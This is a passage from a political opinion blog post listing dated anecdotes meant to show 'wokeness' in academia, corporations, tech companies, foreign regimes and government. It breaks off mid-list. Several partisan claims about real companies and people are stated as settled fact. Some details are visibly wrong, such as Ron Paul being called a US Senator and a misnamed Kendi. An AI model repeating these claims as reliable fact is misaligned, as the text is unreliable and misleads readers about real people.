<a href="https://www.newsweek.com/critical-race-theory-has-no-idea-what-do-asian-americans-opinion-1608984?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">white-adjacent</a> is a sin. Just like in catholicism, everyone is a sinner; In wokeism, everyone is a racist. Like a devout Christian seeing God&rsquo;s hand in all of creation, a woke sees the guiding hands of identity-based power relations everywhere they look. The worst sin against wokeness religion is not non-belief but apostasy. Rowling became a member of wokeism by declaring Dumbledore was gay. She became an apostate by stating that transgender women are different from biological women.</li>
<li>People speak for themselves, they are not representative of their race. Using skin color or gender to decide diversity is wrong. When genetic factors like race and gender are seen as representative of genetic diversity, we reinforce the incorrect stereotype that genetic factors say something important about how a person thinks. That&rsquo;s what racism is about. This tokenism further fosters race and gender segregation in the workplace. Further, diversity of thought is important. But only, when it helps an institution realize its true purpose.</li>
<li>As per   
    
    
<a href="https://www.thebigsort.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The Big Sort</a>, Americans are segregating themselves over time. Liberals and conservatives used to live next to each other. In the 1976 presidential elections, only 26% of Americans lived in landslide counties (where one party got at least 20% more votes than the other). It was 38% in 1992, 48% in 2004, and 61% in 2016! Few Americans are exposed to opposing political viewpoints at this point.</li>
</ol>
<h3 id="wokeness-in-academia">Wokeness in Academia</h3>
<p>The requirement to show community service for getting into a good college has resulted in insincere efforts by students. Among high school students, the goal is to claim the loftiest possible service with little real effort. Service is too often bundled with ulterior motives in America. For example, professors at Yale Law School auction their dinner for charity, and wealthy students buy it, so that, they can later get recommendation letters from those professors.</p>
<ol>
<li>Colleges claim they want well-rounded applicants. What they want is a well-rounded class of students, that is, students who are distinct in their talents.</li>
<li>In 1978, during a   
    
    
<a href="https://www.oyez.org/cases/1979/76-811?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">case</a>, the court decided that racial quotas were wrong. However, the judge lauded Harvard&rsquo;s affirmative action program that used race as one among many factors. In this and   
    
    
<a href="https://en.wikipedia.org/wiki/Grutter_v._Bollinger?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">another</a> case, the universities learned that racial quotas are OK, as long as, they can be disguised in the form of a holistic diversity goal. So, <strong>giving weight to race is OK, using race as the only determinant was not</strong>.</li>
<li>In 2005, Larry Summers, the president of Harvard, while trying to explain why more men are in Science and Engineering than women, proposed three hypotheses. First, men are more drawn to it. Second, women are discriminated against. And third, men show greater variability (in both extremes) in cognitive ability. He was soon   
    
    
<a href="https://www.thefire.org/larry-summers-announces-his-resignation-from-harvard/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">forced</a> to resign for making this remark. No one publicly mentioned but it was implicit then the replacement should be a woman. This was the first major victory for wokeness.</li>
<li>In 2016, Harvard University changed the title of &ldquo;master&rdquo; to &ldquo;Faculty Dean&rdquo;   
    
    
<a href="https://www.thecrimson.com/article/2016/2/25/house-master-new-name/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">claiming</a> that the title has echoes of slavery. Even though its origin was the Latin word &ldquo;magister&rdquo;, meaning teacher.</li>
<li>In 2018, a peer-reviewed paper claimed that &ldquo;Dogs engage in   
    
    
<a href="https://nationalpost.com/news/world/dog-parks-are-petri-dishes-for-canine-rape-culture-and-more-of-the-ridiculous-studies-a-team-of-hoaxsters-got-published-in-academic-journals?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">rape culture&rdquo;</a>. The same authors published &ldquo;Mein Kampf&rdquo; as a   
    
    
<a href="https://www.timesofisrael.com/duped-academic-journal-publishes-rewrite-of-mein-kampf-as-feminist-manifesto/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">feminist manifesto</a> in another peer-reviewed journal. They published several such papers proving intellectual bankruptcy in academia. Once the hoax was discovered, the authors wrote a   
    
    
<a href="https://amzn.to/43SxB6P?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> about how they deliberately planned it all along. However, all the authors became pariahs in academia. The lesson was clear, academic freedom isn&rsquo;t allowed to question woke values.</li>
<li>In 2020, A University of Southern California professor was   
    
    
<a href="https://www.insidehighered.com/news/2020/09/08/professor-suspended-saying-chinese-word-sounds-english-slur?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">suspended</a> for saying the Chinese filler word &ldquo;ne ga&rdquo;.</li>
<li>In 2021, Jodi Shaw, a white person, was   
    
    
<a href="https://bariweiss.substack.com/p/whistleblower-at-smith-college-resigns?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fired</a> for rapping because rapping would be considered cultural appropriation. Further, she was asked to talk about her white privilege as a part of her job.</li>
<li>A 2021 report concluded a hostile climate for conservatives in academia. More than 40% wouldn&rsquo;t   
    
    
<a href="https://cspicenter.org/reports/academicfreedom/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hire</a> a Trump supporter.</li>
</ol>
<h3 id="wokeness-in-corporate-america">Wokeness in Corporate America</h3>
<p>Crony capitalism 2.0: Big businesses use progressive values to disguise their pursuit of profit and power.</p>
<ol>
<li>In 2006, Henry Paulson, CEO of Goldman Sachs, joined as the US treasury secretary. He was able to   
    
    
<a href="https://www.marketwatch.com/story/paulson-files-to-sell-500-mln-in-goldman-stock?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">avoid</a> capital gains on his shares. And further in 2009, he let the Lehman brothers die while saving Goldman Sachs.</li>
<li>In 2007, at least 56 women were   
    
    
<a href="https://www.reuters.com/article/uk-kenya-unilever-idUKKCN1M82GZ?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">raped</a> and 11 killed on Unilever&rsquo;s campus in Kenya during the post-election violence. Unilever, despite the warnings, didn&rsquo;t deploy any guards for the workers. Many attackers were Unilever employees as well. Unilever closed the plantation for 6 months. And compensated workers with one month of salary. It has refused to give more compensation. Rather than compensating the victims, Unilever   
    
    
<a href="https://www.unwomen.org/en/news/stories/2016/12/unilever-and-un-women-announce-a-global-partnership?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">partnered</a> with UN Women for its image management and donated a million-dollar to it. Unilever would never admit to crime as maintaining the appearance of pro-women virtue is more important than virtue itself.</li>
<li>In 2015, Volkswagen while touting its low emissions was caught   
    
    
<a href="https://www.bbc.com/news/business-34324772?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">cheating</a> on the emissions test.</li>
<li>In 2017, State Street Global Advisors were facing a lawsuit from female employees for gender-based pay   
    
    
<a href="https://fortune.com/2017/10/05/fearless-girl-state-street-pay-discrimination/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">discrimination</a>. They launched a new ETF with the ticker symbol SHE and installed a   
    
    
<a href="https://www.usatoday.com/story/news/nation/2017/03/26/new-york-invite-fearless-girl-statue-stay-wall-street/99677644/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fearless girl</a> statue as a symbol of female empowerment.</li>
<li>In 2017, while promising not to increase drug prices significantly, Allergan   
    
    
<a href="https://www.nytimes.com/2017/09/08/health/allergan-patent-tribe.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">transferred</a> a patent of a drug to a native American tribe. The patent was expiring soon. The tribe was to claim sovereign immunity to keep the patent alive and thus, to keep the drug expensive.</li>
<li>In 2019, Goldman Sachs   
    
    
<a href="https://www.bbc.com/news/business-54597256?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">paid</a> ~$1 Billion in bribes to Malaysian 1MDB where billions were stolen by politicians from Malaysians. In 2020, after every single board in S&amp;P 500 already had a female board member and about 50% of board seats in 2019 went to women, Goldman Sachs added a   
    
    
<a href="https://www.marketplace.org/2020/07/01/goldman-sachs-requires-one-diverse-board-member-for-ipo/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">requirement</a> for a diverse board for taking any company to IPO. This was a publicity stunt to get woke points without losing any business as a future un-diverse board was unlikely, to begin with.</li>
<li>In 2019, Nike launched and then   
    
    
<a href="https://www.wsj.com/articles/nike-nixes-betsy-ross-flag-sneaker-after-colin-kaepernick-intervenes-11562024126?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">recalled</a> shoes with Betsy Ross&rsquo;s original flag of the USA. It was recalled because activist Colin Kapernick stated that the shoes commemorating 1776 are racist and endorse slavery. The shoe, itself, was meant to celebrate women&rsquo;s contribution to America&rsquo;s freedom.</li>
<li>In 2020, even Vatican   
    
    
<a href="https://www.inclusivecapitalism.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">joined</a> in the fray of stakeholder capitalism by creating a council for Inclusive Capitalism in partnership with business leaders. The original American vision of separating the church, the state, and the businesses from each other has been supplanted by mixing all of these into one.</li>
<li>Coca-cola fuels a   
    
    
<a href="https://www.al.com/news/2017/07/black_pastors_sue_coca-cola_sw.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">diabetes</a> epidemic among blacks across the US. The hard question for them is to look into the ingredients in a bottle of coke. They distract the public with   
    
    
<a href="https://www.beaumontenterprise.com/business/article/Coca-Cola-Asks-Its-Workers-to-Be-Less-White-to-15979661.php?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">anti-racism training</a> and pay a few million dollars to diversity consultants for their blessings.</li>
<li>In 2020, Nike   
    
    
<a href="https://www.newidea.com.au/nike-sweatshops-the-truth-about-the-nike-factory-scandal?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">employs</a> children in sweatshops in Asia. And to cover up   
    
    
<a href="https://news.nike.com/news/nike-commitment-to-black-community?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">donates</a> to Black Live Matter in the US.</li>
<li>In 2020, a Latino man was   
    
    
<a href="https://www.nbcsandiego.com/news/local/sdge-worker-fired-over-alleged-racist-gesture-says-he-was-cracking-knuckles/2347414/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fired</a> for making an OK gesture, apparently, a   
    
    
<a href="https://www.independent.co.uk/news/world/americas/ok-sign-white-power-supremacy-alt-right-4chan-trolling-hoax-a9249846.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">symbol</a> of white power.</li>
<li>In 2020,   
    
    
<a href="https://nationalpost.com/opinion/jamil-jivani-no-one-gets-to-tell-me-what-kind-of-black-man-to-be?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Jamil Jivani</a>, a black himself, opposed Black Lives Matter. And because of that, he was accused of being anti-Black.</li>
<li>In 2020, Sasha White was   
    
    
<a href="https://www.dailymail.co.uk/femail/article-8661809/Woman-sacked-literary-agency-anti-trans-comments-Twitter.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fired</a> for supporting J.K. Rowling. The latter supported that a biological woman&rsquo;s experiences are not the same as a transwoman&rsquo;s experiences.</li>
<li>In 2021, Delta and Coca-cola declared Georgia&rsquo;s new voting bill   
    
    
<a href="https://www.nbcnews.com/politics/elections/based-lie-delta-ceo-blasts-georgia-s-unacceptable-voting-law-n1262610?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">unacceptable</a>. As if people should care what airlines think about a bill passed by a democratically elected body.</li>
<li>In 2021, New York Times reporter had to   
    
    
<a href="https://www.nytimes.com/2021/03/01/business/donald-mcneil-new-york-times-racial-slur.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">leave</a> after he used the   
    
    
<a href="https://en.wikipedia.org/wiki/Nigger?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">n-word</a> while telling students in 2019 that it is not acceptable to say this. A Central Michigan University was   
    
    
<a href="https://www.thefire.org/pushed-out-of-teaching-central-michigan-university-journalism-professor-has-his-own-story-to-write/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fired</a> for quoting a free-speech case that uses the n-word.</li>
<li>In 2021, Disney fired   
    
    
<a href="https://www.hollywoodreporter.com/news/general-news/behind-disneys-firing-of-mandalorian-star-gina-carano-4133813/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">conservative</a> star Corano over a tweet.</li>
</ol>
<h4 id="wokeness-in-tech">Wokeness in Tech</h4>
<p>Anti-trust law was designed for the 19th-century problem that does not apply to new tech companies. These companies would love to be investigated for anti-trust because they know, they will win. The real issue here is that tech companies are engaging in control of ideas.   
    
    
<a href="https://en.wikipedia.org/wiki/Section_230?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Section 230</a> shields publishers of User-generated Content (UGC) on the Internet from being held legally responsible for what&rsquo;s being published on the platform. Newspapers, magazines, or book publishers don&rsquo;t enjoy that. Part 2 of Section 230 allows UGC publishers to censor the content.</p>
<ol>
<li>In 2017, after attending a diversity meeting at Google, James Damore wrote a long   
    
    
<a href="https://gizmodo.com/exclusive-heres-the-full-10-page-anti-diversity-screed-1797564320?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">memo</a> expressing his reservations regarding the ideas presented in that meeting. Later, he shared the memo with Google. Soon, it was leaked to the media. And he was fired. Google ex-communicated him to avoid getting ex-communicated himself.</li>
<li>In 2020, Mailchimp   
    
    
<a href="https://reclaimthenet.org/mailchimp-deplatforms-northern-virginia-tea-party/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">de-platformed</a> the tea party. PayPal has   
    
    
<a href="https://www.buzzfeednews.com/article/blakemontgomery/the-alt-right-has-a-payment-processor-problem?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">removed</a> the accounts of conservatives.</li>
<li>In 2020, YouTube   
    
    
<a href="https://www.bbc.com/news/technology-52388586?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">banned</a> videos, even of doctors which stated that lockdowns were unnecessary. In 2021, YouTube   
    
    
<a href="https://www.wsj.com/articles/youtube-cancels-the-u-s-senate-11612288061?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">censored</a> the US Senate testimony of a doctor that made the case for Ivermectin. Facebook   
    
    
<a href="https://www.theguardian.com/technology/2020/apr/20/facebook-anti-lockdown-protests-bans?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">banned</a> anti-lockdown posts as well. Now, of course, for tech giants, lockdowns meant more usage and more advertisement revenues. While the small businesses suffered.</li>
<li>In 2020, Expensify&rsquo;s CEO   
    
    
<a href="https://www.wsj.com/articles/expensify-ceo-urges-customers-to-vote-against-trump-11603489825?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">sent</a> an email to all the customers to vote for Biden.</li>
<li>In 2020, Google   
    
    
<a href="https://www.breitbart.com/tech/2020/07/28/election-interference-google-purges-breitbart-from-search-results/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">purged</a> Breitbart, a conservative news site, from search results during elections. As per Dr. Epstein, Google   
    
    
<a href="https://www.foxnews.com/transcript/how-big-tech-bias-could-shift-15-million-votes-in-2020-election?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">can</a> manipulate ~15 million votes in the US 2020 elections without anyone noticing.</li>
<li>In 2020, before the elections, Facebook and Twitter   
    
    
<a href="https://www.businessinsider.com/nypost-employees-attack-facebook-twitter-slowing-hunter-biden-story-2020-10?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">censored</a> a story in NYPost about Joe Biden&rsquo;s son Hunter Biden. One should note that the NYPost is a 200-year-old newspaper founded by Alexander Hamilton, one of the founding fathers of the USA. Twitter later   
    
    
<a href="https://www.cnbc.com/2020/10/16/twitter-ceo-jack-dorsey-says-blocking-post-story-was-wrong.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">admitted</a> that it was wrong.</li>
<li>In 2020, Coinbase&rsquo;s CEO, after initially caving and supporting BLM, pulled back and stated clearly that Coinbase will be an   
    
    
<a href="https://blog.coinbase.com/coinbase-is-a-mission-focused-company-af882df8804?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">apolitical</a> workplace. 5% of employees left as a mark of protest. Twitter ex-CEO, Dick Costolo,   
    
    
<a href="https://www.forbes.com/sites/abrambrown/2020/10/01/some-business-leader-should-face-a-firing-squad-former-twitter-ceo-dick-costolo-suggests-in-angry-tweet/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">criticized</a> the move.</li>
<li>In 2021, Airbnb   
    
    
<a href="https://news.airbnb.com/an-update-on-our-work-to-uphold-our-community-standards/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">decided</a> to ban hate groups from the platform. Now, of course, what counts as hate groups are indeed decided by Airbnb.</li>
<li>In 2021, US Senator Ron Paul&rsquo;s account was blocked by Facebook. Facebook later   
    
    
<a href="https://reason.com/2021/01/11/ron-paul-says-hes-been-locked-out-of-facebook/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">admitted</a> it was a mistake. Similarly, Twitter blocked US Representative Marjorie Taylor Greene&rsquo;s account and later   
    
    
<a href="https://apnews.com/article/twitter-mistakenly-suspends-majorie-taylor-greene-again-9ae8cb2aa4a2094ee1d6c9dc7a56e74b?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">admitted</a> it was a mistake. In both cases, the damage to their image was already done by the blocking.</li>
<li>In 2021, after the Capitol riot, Parlor, a pro-free speech app, was blocked by Apple App Store, Google Play Store, and Amazon Web Services on   
    
    
<a href="https://www.bloomberg.com/news/articles/2021-03-10/parler-cuts-ios-team-after-apple-blocks-return-to-app-store?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">unproven</a> allegations.</li>
<li>In 2021, Intel   
    
    
<a href="https://www.pcmag.com/news/intel-bleep-software-filters-out-toxic-slurs-in-voice-chats-as-you-game?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">launched</a> racism, sexism, and other inappropriate real-time chat filters product named &ldquo;Bleep&rdquo;. What counts as inappropriate is left for Intel to decide.</li>
<li>In 2021, during the sudden rise of heavily short-sold stock GME, Discord   
    
    
<a href="https://www.theverge.com/2021/1/27/22253251/discord-bans-the-r-wallstreetbets-server?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">banned</a> the chat for hate speech. Facebook   
    
    
<a href="https://www.theguardian.com/technology/2021/jan/29/facebook-shuts-popular-robinhood-stock-traders-group-amid-gamestop-frenzy?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">followed</a> the suit by claiming sexual exploitation. Robinhood then allowed retail traders to sell (but not buy) more Gamestop. The White House claimed that they are happy that the first   
    
    
<a href="https://www.washingtontimes.com/news/2021/jan/27/jen-psaki-responds-to-stock-market-fears-inquiry-w/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">female</a> Treasury secretary is monitoring the situation. As this episode shows, Big tech&rsquo;s mind control is not just about silencing conservatives. Anything they don&rsquo;t like can be banned and purged.</li>
</ol>
<h4 id="foreign-dictators-as-stakeholders-in-wokeism">Foreign Dictators as stakeholders in wokeism</h4>
<p>Both woke inquisitors like Ibrahim Kendi and China&rsquo;s President Xi Jinping, influence what&rsquo;s allowed and what&rsquo;s forbidden speech in American Universities. By letting corporations earn moral authority, we let authoritarian regimes weaponize that authority against the Americans.</p>
<ol>
<li>In 2016, Disney was making a movie, Dr. Strange. The central character was a Tibetan Monk and the Chinese regime would never approve of it. So, Disney   
    
    
<a href="https://www.thedailybeast.com/doctor-strange-director-owns-up-to-whitewashing-controversy?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">replaced</a> him with a white man. This was seen as whitewashing. Then they replaced Dr. Strange with a female character. And that made wokes and CCP both happy. The only losers in this process were Tibetians.</li>
<li>In 2017, Mohammed Bin Salman (MBS), the crown prince of Saudi Arabia,   
    
    
<a href="https://www.nytimes.com/2017/11/04/world/middleeast/saudi-arabia-waleed-bin-talal.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">arrested</a> other princes and billionaires. Then he sexually   
    
    
<a href="https://www.aljazeera.com/opinions/2018/11/30/torture-reform-and-womens-rights-in-saudi-arabia?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tortured</a> feminist activists. Later, he even got   
    
    
<a href="https://www.bbc.com/news/world-europe-45812399?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Khashoggi</a> murdered in the Saudi consulate in Turkey. Netflix later   
    
    
<a href="https://www.bbc.com/news/world-middle-east-46732786?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">removed</a> a show from Saudi Arabia about Khashoggi&rsquo;s death, critical of MBS. Virgin Group   
    
    
<a href="https://www.forbes.com/sites/dominicdudley/2017/10/26/virgin-group-unveils-1b-investment-from-saudi-government-in-space-travel?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">took</a> a $1 Billion investment from MBS. Uber said the murder of Khashoggi was a   
    
    
<a href="https://www.theverge.com/2019/11/11/20958976/uber-ceo-dara-khosrowshahi-saudi-arabia-murder-jamal-khashoggi-serious-mistake?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">mistake</a>.</li>
<li>In 2018, McKinsey   
    
    
<a href="https://www.nytimes.com/2018/10/20/us/politics/saudi-image-campaign-twitter.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">prepared</a> a report for Saudi Arabia in which it pointed out the three Twitter accounts responsible for the negative coverage of the regime. One was arrested, another&rsquo;s brother was arrested, and the third account was shut down.</li>
<li>In 2019, Daryl Morey, a National Basketball Association (NBA) executive supported Hong Kong protests. China flexed its muscles and decided to take NBA off-screen. NBA apologized. Later, Morey regretted his tweet as well. This all the while NBA   
    
    
<a href="https://www.reuters.com/article/us-basketball-nba-sas-gsw-trump-coaches/trump-criticizes-kerr-popovich-for-china-reactions-idUSKBN1WP025?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">supported</a> Black Lives Matter protests in the US.</li>
<li>In 2019, Hollywood, to appease the Chinese regime,   
    
    
<a href="https://www.hollywoodreporter.com/movies/movie-news/top-gun-maverick-trailer-sparks-controversy-tom-cruise-jacket-1225993/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">removes</a> the Taiwanese flag from the Top Gun movie.</li>
<li>In 2019, Apple decided to   
    
    
<a href="https://blog.emojipedia.org/apple-hides-taiwan-flag-in-hong-kong/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hide</a> the Taiwan flag emoji in Hong Kong. While talking about   
    
    
<a href="https://www.apple.com/newsroom/2021/01/apple-launches-major-new-racial-equity-and-justice-initiative-projects-to-challenge-systemic-racism-advance-racial-equity-nationwide/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">systemic racism</a> in the United States.</li>
<li>In 2020, Xi Jinping taught Jack Ma a lesson for   
    
    
<a href="https://www.wsj.com/articles/jack-mas-costliest-business-lesson-china-has-only-one-leader-11629473637?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">speaking</a> against the Chinese government. Airbnb   
    
    
<a href="https://www.wsj.com/articles/airbnb-executive-resigned-last-year-over-chinese-request-for-more-data-sharing-11605896753?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">regularly</a> shared users&rsquo; data with Chinese officials for access to the Chinese market. Airbnb adds   
    
    
<a href="https://news.airbnb.com/antiracism-and-allyship-resources-for-the-airbnb-community/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">donations</a> to Black Lives Matter as a smokescreen to its China dealings.</li>
<li>In 2020, Disney   
    
    
<a href="https://www.bbc.com/news/world-54064654?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">filmed</a> a movie, Mulan, in Xinjiang province. Disney wasn&rsquo;t concerned by the presence of Uighur detention camps there. The same Disney would find it   
    
    
<a href="https://www.reuters.com/article/us-usa-abortion-walt-disney-exclusive/disney-ceo-says-it-will-be-difficult-to-film-in-georgia-if-abortion-law-takes-effect-idUSKCN1T003X?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">difficult</a> to film in Georgia, USA if a new abortion ban is implemented.</li>
<li>American colleges introduced a concept of &ldquo;trigger warnings&rdquo; to label controversial reading material, for example, material about slavery. In 2020, China uses its influence to enforce the same censorship in American Universities. Now, at Harvard and Princeton University, anything politically sensitive to China   
    
    
<a href="https://www.wsj.com/articles/chinas-national-security-law-reaches-into-harvard-princeton-classrooms-11597829402?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">comes</a> with the same label.</li>
<li>In 2021, BlackRock&rsquo;s CEO Larry Fink helped Chinese companies, with questionable bookkeeping practices, listed on American exchanges. In return, China   
    
    
<a href="https://www.reuters.com/business/finance/blackrock-wins-chinese-regulatory-approval-onshore-mutual-fund-business-2021-06-11/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">approved</a> BlackRock&rsquo;s fund application.</li>
</ol>
<h3 id="wokeness-in-government">Wokeness in Government</h3>
<ol>
<li>In 2014, Bank of America (BofA) was   
    
    
<a href="https://www.justice.gov/opa/pr/bank-america-pay-1665-billion-historic-justice-department-settlement-financial-fraud-leading?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fined</a> a historic ~17 Billion dollars for its role in the 2008 crisis. Rather than let the money go to the treasury, where it would be controlled by the Republican-controlled Congress, the Democrat president Obama instead decided that the funds can be donated to liberal nonprofits. Thus, BofA not only   
    
    
<a href="https://www.washingtonexaminer.com/bank-of-america-gets-2-for-1-deal-in-justice-dept-settlement?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">claimed</a> those donations as tax deductions but also scored a public relations victory as well.</li>
<li>In 2015, US President Obama demanded $300 million from Congress for Electric vehicles. When Congress refused, Obama through the Department of Justice settled with Volkswagen for emissions scandals. As a part of the settlement, Volkswagen had to   
    
    
<a href="https://www.cnbc.com/2019/05/10/vws-2-billion-penalty-for-diesel-scam-builds-ev-charging-network-across-us.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">invest</a> $1.2 Billion in Electric Vehicle charging stations. The sole goal of the settlement was to bypass Congress.</li>
<li>In 2017,   
    
    
<a href="https://en.wikipedia.org/wiki/Martin_Shkreli?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Martin Shkreli</a> jacked the prices of medicine drastically and was punished by SEC and other federal agencies for unrelated crimes. Of course, privately everyone knew that he was punished for raising the price of medicine.</li>
<li>In 2018, the   
    
    
<a href="https://en.wikipedia.org/wiki/Right-to-try_law#:~:text=Right%2Dto%2Dtry%20laws%20are,and%20Drug%20Administration%20%28FDA%29.?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Right to Try law</a> was passed to allow patients to try unapproved medicines. However, the law is meaningless since no pharma company would sign up for it and take the wrath of the FDA.</li>
<li>In 2019, Pressley, a US Congress representative   
    
    
<a href="https://thehill.com/homenews/house/453007-pressley-democrats-need-any-more-black-voices-that-dont-want-to-be-a-black?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">stated</a> that &ldquo;We don&rsquo;t need any more black faces that don&rsquo;t want to be a black voice&rdquo;.</li>
<li>The   
    
    
